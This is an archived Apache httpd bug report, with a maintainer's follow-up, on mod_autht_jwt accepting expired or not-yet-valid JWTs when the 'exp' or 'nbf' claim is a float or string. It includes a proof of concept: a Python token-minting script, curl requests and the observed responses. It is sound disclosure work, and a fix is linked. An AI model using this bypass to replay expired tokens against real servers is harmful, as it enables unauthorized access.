You are viewing a plain text version of this content. The canonical link for it is here.
Posted to bugs@httpd.apache.org by bu...@apache.org on 2026/10/17 04:33:34 UTC

[Bug 70275] New: mod_autht_jwt only enforces the "exp" (expiry) and "nbf" (not-before) claims when their JSON value is an integer. If the value is a float or a string, the check is silently skipped and the token is accepted. An expired token whose "exp" is encoded as a fl

https://bz.apache.org/bugzilla/show_bug.cgi?id=70275

            Bug ID: 70275
           Summary: mod_autht_jwt only enforces the "exp" (expiry) and
                    "nbf" (not-before) claims when their JSON value is an
                    integer. If the value is a float or a string, the
                    check is silently skipped and the token is accepted.
                    An expired token whose "exp" is encoded as a fl
           Product: Apache httpd-2
           Version: 2.5-HEAD
          Hardware: PC
                OS: Linux
            Status: NEW
          Severity: major
          Priority: P2
         Component: mod_autht_jwt
          Assignee: bugs@httpd.apache.org
          Reporter: shyderali74@gmail.com
  Target Milestone: ---

SUMMARY
-------
mod_autht_jwt only enforces the "exp" (expiry) and "nbf" (not-before) claims
when their JSON value is an integer. If the value is a float or a string, the
check is silently skipped and the token is accepted. An expired token whose
"exp" is encoded as a float/string is therefore treated as never-expiring.

ROOT CAUSE
----------
check_token() in modules/aaa/mod_autht_jwt.c:

  983  if (!strncmp("exp", kv->k->value.string.p, kv->k->value.string.len)) {
  984      if (kv->v->type == APR_JSON_LONG) { exp = kv->v->value.lnumber;
exp_set = 1; }
  985  }
  ...  (nbf handled the same way, lines 990-995)
  1014 if (exp_set || nbf_set) {
  1017     if (exp_set && exp < apr_time_sec(now)) return AUTHT_EXPIRED;

The claim is captured only when kv->v->type == APR_JSON_LONG. RFC 7519
NumericDate permits non-integer values, and common issuers/serializers emit
exp as a float (e.g. 1700000000.0 -> APR_JSON_DOUBLE) or a string. Such a token
leaves exp_set = 0, so the whole expiry/nbf block is skipped.

PROOF OF CONCEPT
----------------
1. Configure an HS256-protected location (AuthName must match the token aud):

     AuthtJwtDriver openssl
     <Location "/jwt">
         AuthType bearer
         AuthName "myaud"
         AuthBearerProvider jwt
         AuthtJwtVerify HS256 file /path/to/secret
         Require valid-user
     </Location>

   Start httpd normally.

2. Mint four VALIDLY-SIGNED test tokens from the same secret (so only the
   exp/nbf encoding differs). Run on any host with python3:

     python3 - <<'EOF'
     import hmac,hashlib,base64
     b=lambda x:base64.urlsafe_b64encode(x).rstrip(b'=').decode()
     secret=open('/path/to/secret','rb').read()
     H=b(b'{"alg":"HS256","typ":"JWT"}')
     def tok(payload):
         si=H+'.'+b(payload.encode())
         return si+'.'+b(hmac.new(secret,si.encode(),hashlib.sha256).digest())
     for n,p in [("int-exp(past)",  
'{"sub":"a","aud":"myaud","exp":1000000000}'),
                 ("float-exp(past)",
'{"sub":"a","aud":"myaud","exp":1000000000.0}'),
                
("string-exp(past)",'{"sub":"a","aud":"myaud","exp":"1000000000"}'),
                
("float-nbf(future)",'{"sub":"a","aud":"myaud","nbf":4000000000.0}')]:
         print(n, tok(p))
     EOF

3. Send each token:
     curl -s -o /dev/null -w "%{http_code}\n" \
          -H "Authorization: Bearer <token>" http://localhost/jwt

OBSERVED RESULT
---------------
  exp = 1000000000     (integer, long past)  -> 401   (correctly expired)
  exp = 1000000000.0   (float,   long past)  -> 200   ACCEPTED  (bug)
  exp = "1000000000"   (string,  long past)  -> 200   ACCEPTED  (bug)
  nbf = 4000000000.0   (float,   future)     -> 200   ACCEPTED  (bug)

EXPECTED
--------
A present-but-non-integer exp/nbf must cause rejection (not be ignored).

IMPACT
------
Expired bearer tokens remain valid indefinitely; "not-before" is not enforced.
Enables captured-token replay well past intended expiry.

DISTINCT FROM #69946
--------------------
#69946 overwrites exp via a prefix claim key ("e" matching "exp"). This bug is
a separate value-type fail-open on a legitimately-named "exp"/"nbf" claim.

FIX
---
Reject when exp/nbf is present but not an integer, and/or parse float
NumericDate
values before the comparison.

-- 
You are receiving this mail because:
You are the assignee for the bug.
---------------------------------------------------------------------
To unsubscribe, e-mail: bugs-unsubscribe@httpd.apache.org
For additional commands, e-mail: bugs-help@httpd.apache.org


[Bug 70275] mod_autht_jwt only enforces the "exp" (expiry) and "nbf" (not-before) claims when their JSON value is an integer. If the value is a float or a string, the check is silently skipped and the token is accepted. An expired token whose "exp" is encoded as a fl

Posted by "bugzilla.apache.org via bugs" <bu...@httpd.apache.org>.
https://bz.apache.org/bugzilla/show_bug.cgi?id=70275

--- Comment #1 from abernal <ab...@apache.org> ---
Proposed fix: https://github.com/apache/httpd/pull/952

Reproduced against a real httpd + apr-util 1.7 build: a validly-signed token
with a float-encoded "exp" (e.g. 1000000000.0) or a string-encoded "exp" was
accepted instead of rejected, and a float "nbf" in the future was likewise
accepted. The fix accepts APR_JSON_DOUBLE as a valid NumericDate (RFC 7519
allows non-integer numeric values) and rejects the token when "exp"/"nbf" is
present with any other value type, instead of silently treating it as absent.

-- 
You are receiving this mail because:
You are the assignee for the bug.
---------------------------------------------------------------------
To unsubscribe, e-mail: bugs-unsubscribe@httpd.apache.org
For additional commands, e-mail: bugs-help@httpd.apache.org